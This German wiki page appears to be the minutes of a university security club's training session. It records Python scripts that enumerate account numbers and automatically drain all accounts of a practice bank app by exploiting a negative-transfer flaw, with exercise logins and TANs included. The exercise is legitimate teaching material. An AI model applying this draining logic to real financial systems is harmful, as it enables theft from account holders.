CInsects/Protokolle/CInsects:Treffen-2010-11-16: Unterschied zwischen den Versionen
wikify |
K Bot: Kosmetische Änderungen |
||
| (7 dazwischenliegende Versionen von 6 Benutzern werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
Diese Seite ist eine Unterseite von [[CInsects]]. | |||
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite. | |||
= Exploit = | = Exploit = | ||
== Schnelles auslesen der Kontonummern ueber gevent == | |||
<pre> | <pre> | ||
from gevent import monkey | |||
monkey.patch_socket() | |||
import urllib2 | import urllib2 | ||
import urllib | import urllib | ||
import cookielib | |||
import string | |||
import re | |||
from itertools import product, chain | |||
import gevent | |||
cj = cookielib.CookieJar() | |||
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) | |||
urllib2.install_opener(opener) | |||
url = 'http://badbank.cinsects.de' | |||
def login(user, password): | |||
params = urllib.urlencode({ | |||
'user': user, | |||
'password': password | |||
}) | |||
urllib2.urlopen(url + '/index.php', params) | |||
# Wir interessieren und nur fuer die Kontonummern | |||
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>') | |||
def fetch_accounts(searchterm): | |||
params = urllib.urlencode({ | |||
'name': searchterm | |||
}) | |||
data = urllib2.urlopen(url + '/index.php?page=search', params).read() | |||
return account_re.findall(data) | |||
if __name__ == '__main__': | |||
login('Jan', 'AZyNEBAeTC') | |||
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)] | |||
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms] | |||
gevent.joinall(jobs, timeout=120) | |||
# Ergebnisse lesen und Liste flachklopfen | |||
accounts = list(chain(*[job.value for job in jobs])) | |||
print accounts | |||
</pre> | |||
Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests): | |||
<pre> | |||
real 0m19.563s | |||
user 0m1.356s | |||
sys 0m0.240s | |||
</pre> | |||
ein kleines Script welches die übersicht über den Kontostand. | |||
<pre> | |||
import urllib | |||
import urllib2 | |||
import cookielib | import cookielib | ||
import re | import re | ||
from | import time | ||
selfkn='43568' | |||
cj = cookielib.CookieJar() | |||
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) | |||
urllib2.install_opener(opener) | |||
url = 'http://badbank.cinsects.de' | |||
def login(user, password): | |||
params = urllib.urlencode({ | |||
'user': user, | |||
'password': password | |||
}) | |||
urllib2.urlopen(url + '/index.php', params) | |||
def printKonto(): | |||
text=urllib2.urlopen(url + '/index.php').read() | |||
#print text | |||
print re.findall('hat (\d+) toxische Dollar.</p>',text)[0] | |||
print 'Login....' | |||
login('xxx', 'xxx') | |||
print 'kontoabfrage...' | |||
while True: | |||
printKonto() | |||
time.sleep(5) | |||
</pre> | |||
== Volautomatischen geldklauen == | |||
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert. | |||
<pre> | |||
from gevent import monkey | |||
monkey.patch_socket() | |||
import urllib2 | |||
import urllib | |||
import cookielib | |||
import string | import string | ||
import re | |||
from itertools import product, chain | |||
import gevent | |||
import os.path | |||
selfkn='43568' | |||
cj = cookielib.CookieJar() | cj = cookielib.CookieJar() | ||
| Zeile 17: | Zeile 123: | ||
url = 'http://badbank.cinsects.de' | url = 'http://badbank.cinsects.de' | ||
def | def login(user, password): | ||
params = urllib.urlencode({ | |||
'user': user, | |||
'password': password | |||
}) | |||
urllib2.urlopen(url + '/index.php', params) | |||
# Wir interessieren und nur fuer die Kontonummern | |||
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>') | |||
def fetch_accounts(searchterm): | |||
params = urllib.urlencode({ | |||
'name': searchterm | |||
}) | |||
while True: | |||
try: | |||
data = urllib2.urlopen(url + '/index.php?page=search', params).read() | |||
def | break | ||
params = urllib.urlencode({' | except: | ||
pass | |||
print '...Konto mit '+searchterm+' untersucht' | |||
return account_re.findall(data) | |||
def ueberweise(konto,betrag): | |||
data = urllib.urlencode({ | |||
'account':konto, | |||
'tan_id':176, | |||
'amount':betrag *-1, | |||
'tan':697768 | |||
}) | |||
while True: | while True: | ||
try: | try: | ||
request = urllib2.urlopen(url + '/index.php?page=transfer',data) | |||
break | break | ||
except | except: | ||
pass | |||
ant=request.read() | |||
if(re.findall('(folgreich)',ant)): | |||
print 'Konto %s um %s Geld erleichtert' % (konto,betrag) | |||
return True | |||
return False | |||
while True: | def plundern(konto): | ||
menge=1 | |||
bad=0 | |||
if(konto==selfkn): | |||
return 0;#sich selbst muss man kein geld ueberweisen | |||
while True: | |||
if(ueberweise(konto,menge)): | |||
menge*=2 | |||
bad=0 | |||
else: | |||
if(menge>1): | |||
menge/=2 | |||
else: | |||
# time.sleep(5) | |||
bad+=1 | |||
if(bad>10): | |||
print 'Konto %s ist ganz Leer' % (konto) | |||
break | |||
return 1 | |||
if __name__ == '__main__': | |||
print 'Login....' | |||
#login('Doerte', 'NMrSymamb2') | |||
print 'Suche Konten' | |||
if(os.path.exists('konten')): | |||
accounts=[] | |||
ko=open('konten') | |||
while True: | while True: | ||
test=ko.read(5) | |||
if(test==''): | |||
break | |||
accounts.append(test) | |||
ko.read(1) | |||
else: | |||
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)] | |||
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms] | |||
gevent.joinall(jobs, timeout=500) | |||
# Ergebnisse lesen und Liste flachklopfen | |||
accounts = list(chain(*[job.value for job in jobs])) | |||
#print accounts | |||
print 'Konten gefunden' | |||
jobs = [gevent.spawn(plundern,konto) for konto in accounts] | |||
gevent.joinall(jobs, timeout=500) | |||
</pre> | </pre> | ||
[[Kategorie:CInsects-Protokolle]] | |||
Aktuelle Version vom 8. Juni 2012, 15:12 Uhr
Diese Seite ist eine Unterseite von CInsects.
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. ipython und die Dokumentation waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte urllib2 und CookieJar in den Raum geschmissen. Die Firefox-Plugins livehttpheaders und web developer toolbar erleichterten das Verstaendnis beim Erforschen der Seite.
Exploit
Schnelles auslesen der Kontonummern ueber gevent
from gevent import monkey
monkey.patch_socket()
import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
url = 'http://badbank.cinsects.de'
def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)
# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
params = urllib.urlencode({
'name': searchterm
})
data = urllib2.urlopen(url + '/index.php?page=search', params).read()
return account_re.findall(data)
if __name__ == '__main__':
login('Jan', 'AZyNEBAeTC')
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
gevent.joinall(jobs, timeout=120)
# Ergebnisse lesen und Liste flachklopfen
accounts = list(chain(*[job.value for job in jobs]))
print accounts
Zeitmessung (<math>26^2 + 1 = 677</math> HTTP-Requests):
real 0m19.563s user 0m1.356s sys 0m0.240s
ein kleines Script welches die übersicht über den Kontostand.
import urllib
import urllib2
import cookielib
import re
import time
selfkn='43568'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
url = 'http://badbank.cinsects.de'
def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)
def printKonto():
text=urllib2.urlopen(url + '/index.php').read()
#print text
print re.findall('hat (\d+) toxische Dollar.</p>',text)[0]
print 'Login....'
login('xxx', 'xxx')
print 'kontoabfrage...'
while True:
printKonto()
time.sleep(5)
Volautomatischen geldklauen
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.
from gevent import monkey
monkey.patch_socket()
import urllib2
import urllib
import cookielib
import string
import re
from itertools import product, chain
import gevent
import os.path
selfkn='43568'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)
url = 'http://badbank.cinsects.de'
def login(user, password):
params = urllib.urlencode({
'user': user,
'password': password
})
urllib2.urlopen(url + '/index.php', params)
# Wir interessieren und nur fuer die Kontonummern
account_re = re.compile('<td>\w+</td>\n<td>(\d+)</td>')
def fetch_accounts(searchterm):
params = urllib.urlencode({
'name': searchterm
})
while True:
try:
data = urllib2.urlopen(url + '/index.php?page=search', params).read()
break
except:
pass
print '...Konto mit '+searchterm+' untersucht'
return account_re.findall(data)
def ueberweise(konto,betrag):
data = urllib.urlencode({
'account':konto,
'tan_id':176,
'amount':betrag *-1,
'tan':697768
})
while True:
try:
request = urllib2.urlopen(url + '/index.php?page=transfer',data)
break
except:
pass
ant=request.read()
if(re.findall('(folgreich)',ant)):
print 'Konto %s um %s Geld erleichtert' % (konto,betrag)
return True
return False
def plundern(konto):
menge=1
bad=0
if(konto==selfkn):
return 0;#sich selbst muss man kein geld ueberweisen
while True:
if(ueberweise(konto,menge)):
menge*=2
bad=0
else:
if(menge>1):
menge/=2
else:
# time.sleep(5)
bad+=1
if(bad>10):
print 'Konto %s ist ganz Leer' % (konto)
break
return 1
if __name__ == '__main__':
print 'Login....'
#login('Doerte', 'NMrSymamb2')
print 'Suche Konten'
if(os.path.exists('konten')):
accounts=[]
ko=open('konten')
while True:
test=ko.read(5)
if(test==''):
break
accounts.append(test)
ko.read(1)
else:
searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]
jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]
gevent.joinall(jobs, timeout=500)
# Ergebnisse lesen und Liste flachklopfen
accounts = list(chain(*[job.value for job in jobs]))
#print accounts
print 'Konten gefunden'
jobs = [gevent.spawn(plundern,konto) for konto in accounts]
gevent.joinall(jobs, timeout=500)